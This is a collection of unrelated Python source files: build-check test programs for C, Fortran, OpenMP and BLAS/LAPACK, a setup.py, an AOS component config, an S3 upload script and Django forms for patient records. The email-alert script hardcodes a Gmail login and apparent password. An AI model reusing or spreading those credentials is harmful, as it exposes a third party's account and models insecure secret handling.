stderr) # end # ============================================================================== # utilities # ------------------------------------------------------------------------------ def choose( name, key, choices ): ''' Asks user to choose one of choices, and returns it. name Used for prompts, e.g., name='C++ compiler' generates prompt 'Which C++ compiler to use?' choices List to choose from. ''' #print( 'choose', name, choices ) comment = '' num = len(choices) if (num == 0): print_error( name + ' not found' ) return None elif (num == 1): i = 0 elif (auto): i = 0 comment = ' [auto]' else: print( 'Available choices for', name +':' ) for i in xrange(num): print( '%3d) %s' % (i+1, choices[i][key]) ) # end while (True): print( 'Which', name, 'to use [1-%d, or quit]? ' % (num), end='' ) # no newline reply = raw_input() if (re.search( 'q|quit', reply, re.I )): raise Error('cancelled') try: i = int(reply) - 1 assert( i >= 0 and i < num ) break except: print( 'invalid input' ) # end # end print( font_bold + green + 'Using '+ name + ': ' + choices[i][key] + comment + font_normal ) return choices[i] # end # ------------------------------------------------------------------------------ def print_dots( txt, width=dots_width ): dots = '.' * max( 3, width - len(txt) ) end = ' ' if (not verbose) else '\n' print( txt, dots, end=end ) def print_header( txt ): print( font_header + '\n' + '='*80 + '\n' + txt + font_normal ) def print_subhead( txt ): print( font_subhead + txt + font_normal ) def print_comment( txt ): print( font_comment + txt + font_normal ) def print_error( txt ): print( red + txt + font_normal ) # ------------------------------------------------------------------------------ def sub_env_empty( match ): ''' Replaces an environment variable. For use in: re.sub( pattern, sub_env_empty, txt ). Returns contents of variable match.group(1), or '' if variable doesn't exist. ''' return env[ match.group(1) ] # end # ------------------------------------------------------------------------------ def sub_env( match ): ''' Replaces an environment variable. For use in: re.sub( pattern, sub_env_empty, txt ). Returns contents of variable match.group(1), or the original match.group(0) if variable doesn't exist. ''' key = match.group(1) val = env.get( key ) if (val is None): return match.group(0) # no change else: return val # end # ------------------------------------------------------------------------------ def sub_define( match ): ''' Called as repl in re.sub( pattern, sub_define, txt ). Returns: #define variable value for variable match.group(1), or commented out: /* variable */ if variable doesn't exist. ''' key = match.group(1) defs = env['DEFS'] m = re.search( r'-D' + key + r'(\S*)', defs ) if (m): return join( '#define', key, m.group(1) ) else: return join( '/*', match.group(0), '*/' ) # comment out # end # ------------------------------------------------------------------------------ g_written = {} def write_test( filename ): ''' Write g_test_files[ filename ] to file, the first time this is called with that filename. Subsequent calls with the same filename do nothing. ''' if (not g_written.has_key( filename )): g_written[ filename ] = True write( filename, g_test_files[ filename ] ) # end # end # ------------------------------------------------------------------------------ def write( filename, txt ): ''' Write txt to file. ''' f = open( filename, 'w' ) f.write( txt ) f.close() # end # ------------------------------------------------------------------------------ def read( filename ): ''' Read file and return its contents. ''' f = open( filename, 'r' ) txt = f.read() f.close() return txt # end # ------------------------------------------------------------------------------ def join( *args ): ''' Joins its arguments with space. Ex: join( "foo", "bar", "baz" ) returns "foo bar baz" ''' return ' '.join( args ).strip() # end # ------------------------------------------------------------------------------ def unique( lst ): ''' Returns first of each unique item from lst, without changing order. Ex: unique( [ 1, 2, 1, 2, 3, 4, 3 ] ) returns [ 1, 2, 3, 4 ] ''' lst2 = [] for x in lst: if (not x in lst2): lst2.append( x ) return lst2 # end # ------------------------------------------------------------------------------ def flatten( l, ltypes=(list, tuple) ): ''' Flattens nested list or tuple. Ex: flatten( [1, 2, [3, [4, 5], 6]] ) returns [1, 2, 3, 4, 5, 6] see http://rightfootin.blogspot.com/2006/09/more-on-python-flatten.html ''' ltype = type(l) l = list(l) i = 0 while i < len(l): while isinstance(l[i], ltypes): if not l[i]: l.pop(i) i -= 1 break else: l[i:i + 1] = l[i] i += 1 return ltype(l) # end # ============================================================================== # common code # ------------------------------------------------------------------------------ # utilities prepended to some tests that call Fortran fortran_mangling = r''' #if defined( MKL_ILP64 ) || defined( ILP64 ) typedef long long myint; #else typedef int myint; #endif #if defined( LOWERCASE ) #define FORTRAN_NAME( lower, UPPER ) lower #elif defined( UPPERCASE ) #define FORTRAN_NAME( lower, UPPER ) UPPER #else #define FORTRAN_NAME( lower, UPPER ) lower ## _ #endif #ifdef __cplusplus #define EXTERN_C extern "C" #else #define EXTERN_C #endif ''' # ============================================================================== # All the test codes are saved in g_test_files map, with filenames as keys. # These are written to disk using write_test(). # ============================================================================== g_test_files = { # ============================================================================== # compilers # ------------------------------------------------------------------------------ 'prog_cc.c': r''' #include <stdio.h> int main( int argc, char** argv ) { int x = 1; printf( "hello, x=%d\n", x ); return 0; } ''', # ------------------------------------------------------------------------------ 'prog_cc_c99.c': r''' #include <stdio.h> #if __STDC_VERSION__ >= 199901L // supports C99 #else choke function(); #endif int main( int argc, char** argv ) { printf( "hello, __STDC_VERSION__ = %ld\n", __STDC_VERSION__ ); for (int i = 0; i < 10; ++i) { // pass } return 0; } ''', # ------------------------------------------------------------------------------ 'prog_cxx.cxx': r''' #include <iostream> class Simple { public: Simple(): x(1) {} int x; }; int main( int argc, char** argv ) { Simple s; std::cout << "hello, x=" << s.x << "\n"; return 0; } ''', # ------------------------------------------------------------------------------ 'prog_cxx_cxx11.cxx': r''' #include <iostream> #if __cplusplus >= 201103L // supports C++11 #else choke function(); #endif enum class Foo { a, b }; enum Bar : char { c, d }; int main( int argc, char** argv ) { int *y = nullptr; y = new int[3] { 0, 1, 2 }; auto x = 1.23; std::cout << "hello, x=" << x << ", __cplusplus = " << __cplusplus << "\n"; return 0; } ''', # ------------------------------------------------------------------------------ 'prog_fortran.f90': r''' program main implicit none print '(a)', 'hello' end program main ''', # ------------------------------------------------------------------------------ 'prog_fortran_f2008.f90': r''' program main use iso_c_binding implicit none integer(c_int), parameter :: x = 100 print '(a,i3)', 'hello', x end program main ''', # ------------------------------------------------------------------------------ 'prog_fortran_f2008_cbind.f90': r''' program main use iso_c_binding implicit none interface subroutine foo( x ) & bind( C, name="foo" ) use iso_c_binding integer(c_int), value :: x end subroutine foo end interface integer(c_int), parameter :: x = 100 print '(a,i3)', 'hello', x call foo( x ) end program main ''', # ------------------------------------------------------------------------------ 'prog_fortran_f2008_foo.c': r''' #include <stdio.h> void foo( int x ) { printf( "%s( %d )\n", __func__, x ); } ''', # ------------------------------------------------------------------------------ 'prog_f77.f': r''' program main implicit none print '(a)', 'hello' end program main ''', # ============================================================================== # OpenMP # ------------------------------------------------------------------------------ 'omp_cc.c': r''' #include <stdio.h> #include <omp.h> int main( int argc, char** argv ) { int x[10], nt; #pragma omp parallel nt = omp_get_num_threads(); #pragma omp parallel for for (int i = 0; i < 10; ++i) { x[i] = i; } printf( "openmp x[0]=%d, nt=%d\n", x[0], nt ); return 0; } ''', # ------------------------------------------------------------------------------ 'omp_fortran.f90': r''' program main use omp_lib implicit none integer :: x(10), nt, i !$omp parallel nt = omp_get_num_threads() !$omp end parallel !$omp parallel do do i = 1, 10 x(i) = i end do print '(a,i3,a,i3)', 'openmp x(1)=', x(1), 'nt=', nt end program ''', # ------------------------------------------------------------------------------ 'omp_f77.f': r''' program main implicit none integer omp_get_num_threads external omp_get_num_threads integer x(10), nt, i !$omp parallel nt = omp_get_num_threads() !$omp end parallel !$omp parallel do do i = 1, 10 x(i) = i end do print '(a,i3,a,i3)', 'openmp x(1)=', x(1), 'nt=', nt end program ''', # ------------------------------------------------------------------------------ 'omp_depend_cc.c': r''' #include <stdio.h> void task( int n, int* x, int id ) { for (int i = 0; i < n; ++i) { x[i] = id + i; } } int main( int argc, char** argv ) { int n = 1000, x[1000] = { 0 }; int last = 1000; for (int iter = 0; iter < 100; ++iter) { // inserts last/10 tasks that update x #pragma omp parallel { for (int i = 0; i <= last; i += 10) { #pragma omp task depend(inout:x[0:n]) task( n, x, i ); } } // verify that updates worked for (int i = 0; i < n; ++i) { int expect = last + i; if (x[i] != expect) { printf( "openmp task depend failed, x[%d] = %d, expected %d (iter %d)\n", i, x[i], expect, iter ); return 1; } } } printf( "openmp task depend seems ok\n" ); return 0; } ''', # ------------------------------------------------------------------------------ 'omp_depend_fortran.f90': r''' program main use omp_lib implicit none integer, parameter :: n = 1000, last = 1000 integer :: x(n), iter, i, expect do iter = 1, 100 !! inserts last/10 tasks that update x !$omp parallel do i = 0, last, 10 !$omp task depend(inout:x(1:n)) call task( n, x, i ) !$omp end task end do !$omp end parallel !! verify that updates worked do i = 1, n expect = last + i if (x(i) .ne. expect) then print '(a,i4,a,i4)', 'openmp task depend failed, x(', i, ') = ', x(i) stop 1 endif end do end do print '(a)', 'openmp task depend seems ok' end program subroutine task( n, x, id ) integer :: n, x(n), id integer :: i do i = 1, n x(i) = id + i end do end subroutine task ''', # ------------------------------------------------------------------------------ 'omp_depend_f77.f': r''' program main implicit none integer n, last parameter (n = 1000, last = 1000) integer x(n), iter, i, expect do iter = 1, 100 !! inserts last/10 tasks that update x !$omp parallel do i = 0, last, 10 !$omp task depend(inout:x(1:n)) call task( n, x, i ) !$omp end task end do !$omp end parallel !! verify that updates worked do i = 1, n expect = last + i if (x(i) .ne. expect) then print '(a,i4,a,i4)', c 'openmp task depend failed, x(', c i, ') = ', x(i) stop 1 endif end do end do print '(a)', 'openmp task depend seems ok' end program subroutine task( n, x, id ) integer n, x(n), id integer i do i = 1, n x(i) = id + i end do end subroutine task ''', # ------------------------------------------------------------------------------ 'omp_priority_cc.c': r''' #include <stdio.h> void task( int n, int* x, int id ) { for (int i = 0; i < n; ++i) { x[i] = id + i; } } int main( int argc, char** argv ) { int n = 1000, x[1000] = { 0 }; #pragma omp parallel { #pragma omp task depend(inout:x[0:n]) priority(1) task( n, x, 0 ); #pragma omp task depend(inout:x[0:n]) priority(2) task( n, x, 100 ); } for (int i = 0; i < n; ++i) { if (x[i] != 100 + i) { printf( "openmp task priority failed, x[%d] = %d, expected %d\n", i, x[i], 100 + i ); return 1; } } printf( "openmp task priority ok\n" ); return 0; } ''', # ------------------------------------------------------------------------------ 'omp_priority_fortran.f90': r''' program main use omp_lib implicit none integer, parameter :: n = 1000 integer :: x(n), i, expect !$omp parallel !! todo: verify priority syntax !$omp task depend(inout:x(1:n)), priority(1) call task( n, x, 0 ); !$omp end task !$omp task depend(inout:x(1:n)), priority(2) call task( n, x, 100 ); !$omp end task !$omp end parallel do i = 1, n expect = 100 + i if (x(i) .ne. expect) then print '(a,i4,a,i4,a,i4)', 'openmp task priority failed, x(', & i, ') = ', x(i), ', expected ', expect stop 1 endif end do print '(a)', 'openmp task priority ok' end program subroutine task( n, x, id ) integer :: n, x(n), id integer :: i do i = 1, n x(i) = id + i end do end subroutine ''', # ------------------------------------------------------------------------------ 'omp_priority_f77.f': r''' program main implicit none integer n parameter (n = 1000) integer x(n), i, expect !$omp parallel !! todo: verify priority syntax !$omp task depend(inout:x(1:n)), priority(1) call task( n, x, 0 ); !$omp end task !$omp task depend(inout:x(1:n)), priority(2) call task( n, x, 100 ); !$omp end task !$omp end parallel do i = 1, n expect = 100 + i if (x(i) .ne. expect) then print '(a,i4,a,i4,a,i4)', c 'openmp task priority failed, x(', c i, ') = ', x(i), ', expected ', expect stop 1 endif end do print '(a)', 'openmp task priority ok' end program subroutine task( n, x, id ) integer n, x(n), id integer i do i = 1, n x(i) = id + i end do end subroutine ''', # ============================================================================== # library # ------------------------------------------------------------------------------ 'blas.c': fortran_mangling + r''' #include <stdio.h> #define sgemm FORTRAN_NAME( sgemm, SGEMM ) EXTERN_C void sgemm( const char* transA, const char* transB, const myint* m, const myint* n, const myint* k, const float* alpha, const float* A, const myint* lda, const float* B, const myint* ldb, const float* beta, float* C, const myint* ldc ); int main( int argc, char** argv ) { // A is 4x2 embedded in 4x2 array // B is 2x3 embedded in 3x3 array // C is 4x3 embedded in 5x3 array // D = alpha*A*B + beta*C myint i, j; myint m = 4, n = 3, k = 2, lda = 4, ldb = 3, ldc = 5; float alpha = 2, beta = -1; float A[ 5*2 ] = { 1, 2, 3, 4, 4, 1, 2, 3 }; float B[ 3*3 ] = { 1, 3, 0, 2, 1, 0, 3, 2, 0 }; float C[ 5*3 ] = { 1, 2, 3, 4, 0, 4, 1, 2, 3, 0, 3, 4, 1, 2, 0 }; float D[ 5*3 ] = { 25, 8, 15, 22, 0, 8, 9, 14, 19, 0, 19, 12, 25, 34 }; sgemm( "no", "no", &m, &n, &k, &alpha, A, &lda, B, &ldb, &beta, C, &ldc ); // check C == D for (i = 0; i < ldc*n; ++i) { if (C[i] != D[i]) { printf( "sgemm failed: C[%d] %.2f != D[%d] %.2f\n", i, C[i], i, D[i] ); return 1; } } printf( "sgemm ok\n" ); return 0; } ''', # ------------------------------------------------------------------------------ 'cblas.c': r''' #include <stdio.h> #ifdef HAVE_MKL #include <mkl_cblas.h> #else #include <cblas.h> #endif int main( int argc, char** argv ) { // A is 4x2 embedded in 4x2 array // B is 2x3 embedded in 3x3 array // C is 4x3 embedded in 5x3 array // D = alpha*A*B + beta*C int i, j; int m = 4, n = 3, k = 2, lda = 4, ldb = 3, ldc = 5; float alpha = 2, beta = -1; float A[ 5*2 ] = { 1, 2, 3, 4, 4, 1, 2, 3 }; float B[ 3*3 ] = { 1, 3, 0, 2, 1, 0, 3, 2, 0 }; float C[ 5*3 ] = { 1, 2, 3, 4, 0, 4, 1, 2, 3, 0, 3, 4, 1, 2, 0 }; float D[ 5*3 ] = { 25, 8, 15, 22, 0, 8, 9, 14, 19, 0, 19, 12, 25, 34 }; cblas_sgemm( CblasColMajor, CblasNoTrans, CblasNoTrans, m, n, k, alpha, A, lda, B, ldb, beta, C, ldc ); // check C == D for (i = 0; i < ldc*n; ++i) { if (C[i] != D[i]) { printf( "cblas_sgemm failed: C[%d] %.2f != D[%d] %.2f\n", i, C[i], i, D[i] ); return 1; } } printf( "cblas_sgemm ok\n" ); return 0; } ''', # ------------------------------------------------------------------------------ 'blas_return_float.c': fortran_mangling + r''' #include <stdio.h> #define sdot FORTRAN_NAME( sdot, SDOT ) EXTERN_C float sdot( const myint* n, const float* x, const myint* incx, const float* y, const myint* incy ); int main( int argc, char** argv ) { myint n = 5, ione = 1; float x[5] = { 1, 2, 3, 4, 5 }; float y[5] = { 5, 4, 3, 2, 1 }; float expect = 35; float result = sdot( &n, x, &ione, y, &ione ); myint okay = (result == expect); printf( "sdot result %.2f, expect %.2f, %s\n", result, expect, (okay ? "ok" : "failed")); return ! okay; } ''', # ------------------------------------------------------------------------------ # f2c has sdot return double instead of float; appears in MacOS Accelerate 'blas_return_float_f2c.c': fortran_mangling + r''' #include <stdio.h> #define sdot FORTRAN_NAME( sdot, SDOT ) EXTERN_C double sdot( const myint* n, const float* x, const myint* incx, const float* y, const myint* incy ); int main( int argc, char** argv ) { myint n = 5, ione = 1; float x[5] = { 1, 2, 3, 4, 5 }; float y[5] = { 5, 4, 3, 2, 1 }; float expect = 35; float result = sdot( &n, x, &ione, y, &ione ); myint okay = (result == expect); printf( "sdot result %.2f, expect %.2f, %s\n", result, expect, (okay ? "ok" : "failed")); return ! okay; } ''', # ------------------------------------------------------------------------------ 'blas_return_complex.c': fortran_mangling + r''' #include <stdio.h> #include <complex.h> #define zdotc FORTRAN_NAME( zdotc, ZDOTC ) EXTERN_C double _Complex zdotc( const myint* n, const double _Complex* x, const myint* incx, const double _Complex* y, const myint* incy ); int main( int argc, char** argv ) { myint n = 5, ione = 1; double _Complex x[5] = { 1, 2, 3, 4, 5 }; double _Complex y[5] = { 5, 4, 3, 2, 1 }; double _Complex expect = 35; double _Complex result = zdotc( &n, x, &ione, y, &ione ); myint okay = (result == expect); printf( "zdotc result %.2f, expect %.2f, %s\n", creal(result), creal(expect), (okay ? "ok" : "failed")); return ! okay; } ''', # ------------------------------------------------------------------------------ # Intel Fortran complex number return convention # see https://software.intel.com/en-us/node/528406 # "Calling BLAS Functions that Return the Complex Values in C/C++ Code" 'blas_return_complex_intel.c': fortran_mangling + r''' #include <stdio.h> #include <complex.h> #define zdotc FORTRAN_NAME( zdotc, ZDOTC ) EXTERN_C void zdotc( double _Complex* result, const myint* n, const double _Complex* x, const myint* incx, const double _Complex* y, const myint* incy ); int main( int argc, char** argv ) { myint n = 5, ione = 1; double _Complex x[5] = { 1, 2, 3, 4, 5 }; double _Complex y[5] = { 5, 4, 3, 2, 1 }; double _Complex expect = 35; double _Complex result; zdotc( &result, &n, x, &ione, y, &ione ); myint okay = (result == expect); printf( "zdotc result %.2f, expect %.2f, %s\n", creal(result), creal(expect), (okay ? "ok" : "failed")); return ! okay; } ''', # ------------------------------------------------------------------------------ 'lapack.c': fortran_mangling + r''' #include <stdio.h> #define dpotrf FORTRAN_NAME( dpotrf, DPOTRF ) EXTERN_C void dpotrf( const char* uplo, const myint* n, double* A, const myint* lda, myint* info ); int main( int argc, char** argv ) { myint i, n = 2, info = 0; double A[2*2] = { 16, 4, -1, 5 }; double L[2*2] = { 4, 1, -1, 2 }; double work[1]; dpotrf( "lower", &n, A, &n, &info ); if (info != 0) { printf( "dpotrf failed: info %d\n", info ); return 1; } for (i = 0; i < n*n; ++i) { if (A[i] != L[i]) { printf( "dpotrf failed: A[%d] %.2f != L[%d] %.2f\n", i, A[i], i, L[i] ); return 1; } } printf( "dpotrf ok\n" ); return 0; } ''', # ------------------------------------------------------------------------------ 'lapacke.c': r''' #include <stdio.h> #ifdef HAVE_MKL #include <mkl_lapacke.h> #else #include <lapacke.h> #endif int main( int argc, char** argv ) { int i, n = 2, info = 0; double A[2*2] = { 16, 4, -1, 5 }; double L[2*2] = { 4, 1, -1, 2 }; double work[1]; info = LAPACKE_dpotrf_work( LAPACK_COL_MAJOR, 'L', n, A, n ); if (info != 0) { printf( "dpotrf failed: info %d\n", info ); return 1; } for (i = 0; i < n*n; ++i) { if (A[i] != L[i]) { printf( "dpotrf failed: A[%d] %.2f != L[%d] %.2f\n", i, A[i], i, L[i] ); return 1; } } printf( "dpotrf ok\n" ); return 0; } ''', # ------------------------------------------------------------------------------ 'lapacke_dlascl.c': r''' #include <stdio.h> #ifdef HAVE_MKL #include <mkl_lapacke.h> #else #include <lapacke.h> #endif int main( int argc, char** argv ) { int i, m = 4, n = 3, info = 0; double A[4*3] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 }; double D[4*3] = { 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24 }; info = LAPACKE_dlascl_work( LAPACK_COL_MAJOR, 'g', -1, -1, 1.0, 2.0, m, n, A, m ); if (info != 0) { printf( "dlascl failed: info %d\n", info ); return 1; } for (i = 0; i < m*n; ++i) { if (A[i] != D[i]) { printf( "dlascl failed: A[%d] %.2f != D[%d] %.2f\n", i, A[i], i, D[i] ); return 1; } } printf( "dlascl ok\n" ); return 0; } ''', # ------------------------------------------------------------------------------ 'lapacke_dlantr.c': r''' #include <stdio.h> #ifdef HAVE_MKL #include <mkl_lapacke.h> #else #include <lapacke.h> #endif int main( int argc, char** argv ) { int n = 3; double A[3*3] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 }; double work[1]; double expect = 11; double result = LAPACKE_dlantr_work( LAPACK_COL_MAJOR, '1', 'L', 'N', n, n, A, n, work ); int okay = (result == expect); printf( "dlantr result %.2f, expect %.2f, %s\n", result, expect, (okay ? "ok" : "failed")); return ! okay; } ''', # ------------------------------------------------------------------------------ 'lapacke_dlassq.c': fortran_mangling + r''' #include <stdio.h> #ifdef HAVE_MKL #include <mkl_lapacke.h> #else #include <lapacke.h> #endif #define dlassq FORTRAN_NAME( dlassq, DLASSQ ) //EXTERN_C //void dlassq( const myint* n, const double* x, const myint* incx, // double* scale, double* sumsq ); int main( int argc, char** argv ) { int n = 3, incx = 1; double x[3] = { 1, 2, 2 }; double scale, sumsq; double expect = 9; LAPACKE_dlassq_work( n, x, incx, &scale, &sumsq ); //dlassq( &n, x, &incx, &scale, &sumsq ); double result = sumsq*scale*scale; int okay = (result == expect); printf( "dlassq result %.2f, expect %.2f, %s\n", result, expect, (okay ? "ok" : "failed")); return ! okay; } ''', } # end g_test_files
nilq/baby-python
python
from .code import Code from .docstring import DocString from .value import NamedValue, UnnamedValue from .function import Function from .proptypes import PropTypes from .klass import Class from .module import Module
nilq/baby-python
python
#!/usr/bin/env python from setuptools import setup, find_packages """ Documentation can be found at https://docs.python.org/2/distutils/index.html, but usually you only need to do the following steps to publish a new package version to PyPI:: # Update the version tag in this file (setup.py) python setup.py sdist --formats=gztar python setup.py bdist_wheel twine upload dist/* That's already it. You should get the following output written to your command line:: Server response (200): OK If you get errors, check the following things: - Are you behind a proxy? --> Try not to be behind a proxy (I don't actually know how to configure setup.py to be proxy-aware) - Is your command correct? --> Double-check using the reference documentation - Do you have all the necessary libraries to generate the wanted formats? --> Reduce the set of formats or install libs """ version = __import__('cleanerversion').get_version() setup(name='CleanerVersion', version=version, description='A versioning solution for relational data models using the ' 'Django ORM', long_description='CleanerVersion is a solution that allows you to read ' 'and write multiple versions of an entry ' 'to and from your relational database. It allows to ' 'keep track of modifications on an object ' 'over time, as described by the theory of **Slowly ' 'Changing Dimensions** (SCD) **- Type 2**. ' '' 'CleanerVersion therefore enables a Django-based ' 'Datawarehouse, which was the initial idea of ' 'this package.', author='Manuel Jeckelmann, Jean-Christophe Zulian, Brian King, ' 'Andrea Marcacci', author_email='engineering.sophia@swisscom.com', license='Apache License 2.0', packages=find_packages(exclude=['cleanerversion.settings.*']), url='https://github.com/swisscom/cleanerversion', package_data={'versions': ['static/js/*.js', 'templates/versions/*.html']}, classifiers=[ 'Development Status :: 5 - Production/Stable', 'Framework :: Django', 'Intended Audience :: Developers', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.6', 'Topic :: Database', 'Topic :: System :: Archiving', ])
nilq/baby-python
python
# Program to automatically send email when something goes down # by calling the function email() # like this --> email(["example@somewhere.com","somewhereelse@other.com"]) import smtplib # Necessary modules from email.mime.text import MIMEText xhoni = "xhp1@pitt.edu" def sendMail(recievers,content,subject="Alert"): sender = "Floor2TowerB@gmail.com" msg = MIMEText(content) msg['Subject'] = subject msg['From'] = sender if type(recievers) == type(["LIST"]): msg['To'] = ",".join(recievers) else: msg['To'] = recievers try: server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login("Floor2TowerB","Fl00r2Rules!!/") server.sendmail(sender,recievers,msg.as_string()) except: print("UNABLE TO SEND EMAIL")
nilq/baby-python
python
src = Split(''' src/mbedtls_net.c src/mbedtls_alt.c src/mbedtls_auth.c ''') aos_global_config.set("DEBUG", "yes") component = aos_component('itls', src) component.add_global_includes('include') component.add_macros('CONFIG_PLAT_AOS') component.add_macros('CONFIG_KEY_OTP_ENABLED') if aos_global_config.get("DEBUG")!="no": component.add_global_macros("CONFIG_SSL_DEBUG") if aos_global_config.board != 'linuxhost': component.add_macros('LWIP_ENABLED') component.add_prebuilt_libs('lib/' + component.get_arch() + '/libitls.a') component.add_comp_deps('security/alicrypto') component.add_comp_deps('security/id2')
nilq/baby-python
python
import boto3 from os import walk from datetime import datetime client = boto3.client('s3') # Create s3 bucket now = datetime.now() date_time = now.strftime("%m-%d-medium-datasets") response = client.create_bucket( Bucket=date_time ) print(response) # s3 = boto3.resource('s3') # Upload files to bucket mypath = '/Genex/genex/data/results/' for (dirpath, dirname, filenames) in walk(mypath): for direc in dirname: for (dirpath2, _, filenames2) in walk(mypath + direc): for files in filenames2: s3.meta.client.upload_file(dirpath2 + "/" + files, date_time, files) #
nilq/baby-python
python
from clinical_records import settings from crispy_forms.helper import FormHelper from crispy_forms.layout import Div, Field, Layout, Submit from django import forms from django.forms import DateField from django.forms import ModelForm from patients.models import CIE10 from patients.models import ClinicalHistory from patients.models import MedicalFormulas from patients.models import MedicalHistory from patients.models import PhysicalExam from patients.models import SystemsReview from patients.models import Patient class PatientForm(ModelForm): birth_date = DateField(input_formats=settings.DATE_INPUT_FORMATS) helper = FormHelper() helper.form_class = 'form-inline' helper.form_tag = False helper.layout = Layout( Div( Div('names', css_class='column_two'), Div('last_names', css_class='column_two'), css_class='row'), Div( Div('document_type', css_class='column_two'), Div('document', css_class='column_two'), css_class='row'), Div( Div('birth_date', css_class='column_two'), Div('birth_city', css_class='column_two'), css_class='row'), Div( Div('address', css_class='column_two'), Div('phone', css_class='column_two'), css_class='row'), Div( Div('scholarship', css_class='column_two'), Div('profesion', css_class='column_two'), css_class='row'), Div( Div('gender', css_class='column_three'), Div('civil_status', css_class='column_three'), Div('origin', css_class='column_three'), css_class='row'), ) class Meta(object): model = Patient fields = '__all__' widgets = { 'birth_date': forms.DateInput(format=('%Y-%m-%d'), attrs={'type': 'date'}) } class MedicalFormulasForm(ModelForm): helper = FormHelper() helper.form_class = 'form-inline' helper.form_tag = False helper.layout = Layout( Div( Div('medicines', css_class='column_one'), css_class='row'), Div( Div('paraclinicals', css_class='column_one'), css_class='row'), Div( Div('remission', css_class='column_one'), css_class='row'), Div( Div('conduct', css_class='column_one'), css_class='row'), ) class Meta(object): model = MedicalFormulas fields = '__all__' class MedicalHistoryForm(ModelForm): helper = FormHelper() helper.form_class = 'form-inline' helper.layout = Layout( Div( Div('companion', css_class='column_two'), Div('phone_companion', css_class='column_two'), css_class='row'), Div( Div('referred_by', css_class='column_two'), Div('sgss', css_class='column_two'), css_class='row'), Div( Div('created_at_date', css_class='column_two'), Div('created_at_hour', css_class='column_two'), css_class='row'), Div( Div('reason_consultation', css_class='column_one'), css_class='row'), Div( Div('current_illness', css_class='column_one'), css_class='row') ) class Meta(object): model = MedicalHistory fields = ['created_at_date', 'created_at_hour', 'companion', 'referred_by', 'phone_companion', 'reason_consultation', 'current_illness', 'sgss'] class ClinicalHistoryForm(ModelForm): helper = FormHelper() helper.form_class = 'form-inline' helper.form_tag = False helper.layout = Layout( Div( Div('pathological', css_class='column_one'), css_class='row'), Div( Div('surgical', css_class='column_one'), css_class='row'), Div( Div('traumatic', css_class='column_one'), css_class='row'), Div( Div('poisoning', css_class='column_one'), css_class='row'), Div( Div('smoking', css_class='column_one'), css_class='row'), Div( Div('liqueur', css_class='column_one'), css_class='row'), Div( Div('psychoactive', css_class='column_one'), css_class='row'), Div( Div('permanent_medication', css_class='column_one'), css_class='row'), Div( Div('allergic', css_class='column_one'), css_class='row'), Div( Div('immunological', css_class='column_one'), css_class='row'), Div( Div('transfusions', css_class='column_one'), css_class='row'), Div( Div('obstetric', css_class='hidden'), Div('men', css_class='column_ten'), Div('Cic', css_class='column_ten'), Div('FUM', css_class='column_ten'), Div('G', css_class='column_ten'), Div('P', css_class='column_ten'), Div('A', css_class='column_ten'), Div('C', css_class='column_ten'), Div('FUP', css_class='column_ten'), Div('Menop', css_class='column_ten'), css_class='row'), Div( Div('relatives', css_class='column_one'), css_class='row'), ) class Meta(object): model = ClinicalHistory fields = '__all__' widgets = { 'created_at_date': forms.DateInput(format=('%Y-%m-%d'), attrs={'type': 'date'}) } class PhysicalExamForm(ModelForm): diagnostics_images_aux = forms.MultipleChoiceField(label='Diagnostico') helper = FormHelper() helper.form_class = 'form-inline' helper.form_tag = False helper.layout = Layout( Div( Div('weight', css_class='column_ten'), Div('tall', css_class='column_ten'), Div('IM', css_class='column_ten'), Div('TA', css_class='column_ten'), Div('Fc', css_class='column_ten'), Div('minfr', css_class='column_ten'), Div('mint', css_class='column_ten'), Div('so', css_class='column_ten'), Div('pe', css_class='column_ten'), Div('pa', css_class='column_ten'), css_class='row'), Div( Div('mental_sphere', css_class='column_one'), css_class='row'), Div( Div('head', css_class='column_one'), css_class='row'), Div( Div('orl', css_class='column_one'), css_class='row'), Div( Div('neck_thyroid', css_class='column_one'), css_class='row'), Div( Div('chest', css_class='column_one'), css_class='row'), Div( Div('cardiovascular', css_class='column_one'), css_class='row'), Div( Div('respiratory', css_class='column_one'), css_class='row'), Div( Div('digestive', css_class='column_one'), css_class='row'), Div( Div('mammary_gland', css_class='column_one'), css_class='row'), Div( Div('genitourinary', css_class='column_one'), css_class='row'), Div( Div('snc_peripheral', css_class='column_one'), css_class='row'), Div( Div('osteomuscular', css_class='column_one'), css_class='row'), Div( Div('skin_faneras', css_class='column_one'), css_class='row'), Div( Div('senses_organs', css_class='column_one'), css_class='row'), Div( Div('diagnostics_images_aux', css_class='column_one'), css_class='row'), ) class Meta(object): model = PhysicalExam fields = ['weight', 'tall', 'IM', 'TA', 'Fc', 'minfr', 'mint', 'so', 'pe', 'pa', 'mental_sphere', 'head', 'orl', 'neck_thyroid', 'chest', 'cardiovascular', 'respiratory', 'digestive', 'mammary_gland', 'genitourinary', 'snc_peripheral', 'osteomuscular', 'skin_faneras', 'senses_organs'] def clean_diagnostics_images(self): diagnostics = self.cleaned_data['diagnostics_images'] return diagnostics class SystemsReviewForm(ModelForm): helper = FormHelper() helper.form_class = 'form-inline' helper.form_tag = False helper.layout = Layout( Div( Div('skin_faneras', css_class='column_one'), css_class='row'), Div( Div('orl', css_class='column_one'), css_class='row'), Div( Div('respiratory', css_class='column_one'), css_class='row'), Div( Div('cardiovascular', css_class='column_one'), css_class='row'), Div( Div('digestive', css_class='column_one'), css_class='row'), Div( Div('genitourinary', css_class='column_one'), css_class='row'), Div( Div('snc_peripheral', css_class='column_one'), css_class='row'), Div( Div('endocrine', css_class='column_one'), css_class='row'), Div( Div('locomotor', css_class='column_one'), css_class='row'), Div( Div('hematic_lymphatic', css_class='column_one'), css_class='row'), Div( Div('senses_organs', css_class='column_one'), css_class='row') ) class Meta(object): model = SystemsReview fields = '__all__'
nilq/baby-python
python
